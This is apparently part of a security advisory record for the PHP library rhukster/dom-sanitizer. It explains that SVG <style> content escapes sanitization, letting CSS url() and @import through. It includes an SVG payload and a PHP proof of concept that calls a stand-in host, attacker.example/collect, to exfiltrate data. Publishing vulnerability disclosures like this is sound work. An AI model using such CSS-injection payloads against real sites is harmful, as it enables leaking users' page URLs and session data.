"summary": "rhukster/dom-sanitizer: SVG <style> tag allows CSS injection via unfiltered url() and @import directives",
8+
"details": "### Summary\nDOMSanitizer::sanitize() allows <style> elements in SVG content but never inspects their text content. CSS url() references and @import rules pass through unfiltered, causing the browser to issue HTTP requests to attacker-controlled hosts when the sanitized SVG is rendered.\n\n### Details\nIn src/DOMSanitizer.php, 'style' is listed in the SVG allowed-tag array (line 31). The sanitize() method (lines 111–133) removes disallowed tags and strips attributes matching the EXTERNAL_URL pattern — but text node content of <style> elements is never examined. Because CSS rules live in text nodes, EXTERNAL_URL filtering never applies to them.\n\nVulnerable code (src/DOMSanitizer.php, line 31):\n```php\n'svg' => ['style', 'path', 'rect', 'circle', ...],\n```\n\nThe following payload survives sanitize() intact:\n```svg\n<svg xmlns=\"http://www.w3.org/2000/svg\">\n <style>* { background: url(https://attacker.example/collect); }</style>\n</svg>\n```\n\n### PoC\n```php\n<?php\nrequire 'vendor/autoload.php';\nuse Rhukster\\DomSanitizer\\DOMSanitizer;\n\n$svg = '<svg xmlns=\"http://www.w3.org/2000/svg\"><style>* { background: url(https://attacker.example/collect); }</style></svg>';\n$sanitizer = new DOMSanitizer(DOMSanitizer::SVG);\n$output = $sanitizer->sanitize($svg);\necho $output; // <style> with url() survives unchanged — confirmed exploitable in Statamic CMS (GHSA-g8hv-8w5p-cvqg)\n```\n\nRender the returned string in a browser. The browser sends a GET request to https://attacker.example/collect.\n\n### Impact\nAny application that passes user-controlled SVG through DOMSanitizer::sanitize() and renders the output in a browser is vulnerable. An attacker can exfiltrate the page URL to an external server, load arbitrary external stylesheets, and on some browsers leverage CSS attribute selectors + url() to exfiltrate cookie or session token values.",
